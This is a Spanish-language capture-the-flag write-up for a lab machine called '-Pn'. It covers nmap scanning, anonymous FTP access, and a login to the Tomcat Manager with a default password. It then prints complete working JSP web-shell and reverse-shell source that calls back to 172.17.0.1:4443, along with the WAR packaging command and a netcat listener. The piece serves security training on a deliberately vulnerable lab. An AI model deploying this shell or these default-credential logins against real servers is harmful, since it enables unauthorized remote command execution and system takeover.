> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pn-write-up.md).

# -Pn write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/hgGmuNKtfr7Qb0sIwC1w" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
 sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/CbgK1gUp0P7ZpDsa1HAW" alt=""><figcaption></figcaption></figure>

Esto nos muestra que los puertos 21 (FTP) y 8080 (HTTP) están abiertos. Además, indica que se está utilizando la versión Tomcat 9.0.88 y que es posible iniciar sesión como `anonymous` en el servicio FTP.

```bash
ftp  172.17.0.2 
```

<figure><img src="/files/YeBxzCZO941dnZGqe4yz" alt=""><figcaption></figcaption></figure>

Una vez dentro, observamos que hay un archivo llamado `tomcat.txt`, por lo que procedemos a descargarlo con el siguiente comando:

```bash
get tomcat.txt
```

<figure><img src="/files/HokEbvmwbMRkyfkxyvyp" alt=""><figcaption></figcaption></figure>

Al hacer un cat del fichero de texto nos muestra lo siguiente:

<figure><img src="/files/rYJ0rjjWRITiS8yWhXif" alt=""><figcaption></figcaption></figure>

Esto indica que `tomcat` podría ser un usuario válido. Además, el servidor aún no está configurado, por lo que es posible que esté utilizando las credenciales por defecto. Así que vamos a [HackTricks](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html?highlight=tomcat#tomcat)

<figure><img src="/files/w4eZ73cviDe9EZh6zPXM" alt=""><figcaption></figcaption></figure>

Ahora ingresamos la IP de la máquina víctima en el navegador junto con el puerto 8080 (`http://172.17.0.2:8080/`) y hacemos clic en `Manager App`. Probamos ambas contraseñas y logramos acceder con `s3cr3t`.

<figure><img src="/files/lcwHyw6y1hCfiyJoNHQr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ncfNq58H0HCustWgkFRQ" alt=""><figcaption></figcaption></figure>

Una vez dentro, crearemos un archivo con extensión `.war` que contendrá un archivo malicioso. Para ello, generamos una carpeta llamada `reverse_shell`, dentro de la cual creamos otra carpeta llamada `WEB-INF`, que a su vez contendrá un archivo `web.xml` con el siguiente contenido:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                             http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
         version="3.0">
    <display-name>reverse shell</display-name>
</web-app>
```

y ahora volvemos a la carpeta `reverse_shell` y creamos el archivo `index.jsp` el cual tendrá lo siguiente:

```jsp
<%
    /*
     * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
     * If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
     * Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing 
     * the command specified in the HTML form). This is to avoid to keep it simple.
     */
%>

<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>

<html>
<head>
    <title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
    <input TYPE="text" NAME="shell">
    <input TYPE="submit" VALUE="Send">
</form>
<pre>
<%

    // Define the OS
    String shellPath = null;
    try
    {
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            shellPath = new String("/bin/sh");
        } else {
            shellPath = new String("cmd.exe");
        }
    } catch( Exception e ){}


    // INNER HTML PART
    if (request.getParameter("shell") != null) {
        out.println("Command: " + request.getParameter("shell") + "\n<BR>");
        Process p;

        if (shellPath.equals("cmd.exe"))
            p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
        else
            p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));

        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
    }

    // TCP PORT PART
    class StreamConnector extends Thread
    {
        InputStream wz;
        OutputStream yr;

        StreamConnector( InputStream wz, OutputStream yr ) {
            this.wz = wz;
            this.yr = yr;
        }

        public void run()
        {
            BufferedReader r  = null;
            BufferedWriter w = null;
            try
            {
                r  = new BufferedReader(new InputStreamReader(wz));
                w = new BufferedWriter(new OutputStreamWriter(yr));
                char buffer[] = new char[8192];
                int length;
                while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
                {
                    w.write( buffer, 0, length );
                    w.flush();
                }
            } catch( Exception e ){}
            try
            {
                if( r != null )
                    r.close();
                if( w != null )
                    w.close();
            } catch( Exception e ){}
        }
    }
 
    try {
        Socket socket = new Socket( "172.17.0.1", 4443 ); // Replace with wanted ip and port
        Process process = Runtime.getRuntime().exec( shellPath );
        new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();
        new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();
        out.println("port opened on " + socket);
     } catch( Exception e ) {}


%>
</pre>
</body>
</html>
```

Este archivo se encargará de enviarnos una reverse shell a la IP y puerto especificados. Ahora tendríamos que ejecutar lo siguiente para crear el archivo .war:

```pgsql
reverse_shell/
├── WEB-INF/
│   ├── web.xml
└── index.jsp
```

```bash
jar -cvf shell.war -C reverse_shell .
```

Si no tienes jar instalado ejecuta lo siguiente para instalarlo:

```bash
sudo apt install openjdk-11-jdk
```

<figure><img src="/files/p52KbZeZhfQWjJEMqjoL" alt=""><figcaption></figcaption></figure>

Una vez ya creamos el archivo nos vamos manager de tomcat y subimos el archivo.

<figure><img src="/files/n8f82Y3hCPcyBeoB41Tt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3wnoqJvCs1iR5l62t09W" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RLvqIBHBLC9zloTNH3ai" alt=""><figcaption></figcaption></figure>

Ahora ponemos netcat en escucha con el siguiente comando y hacemos clic en `/shell/:`

```bash
sudo nc -nvvlp 4443
```

<figure><img src="/files/Chp691LLjHmviSt2n8PR" alt=""><figcaption></figcaption></figure>

Y ya habríamos obtenido una shell con privilegios elevados.
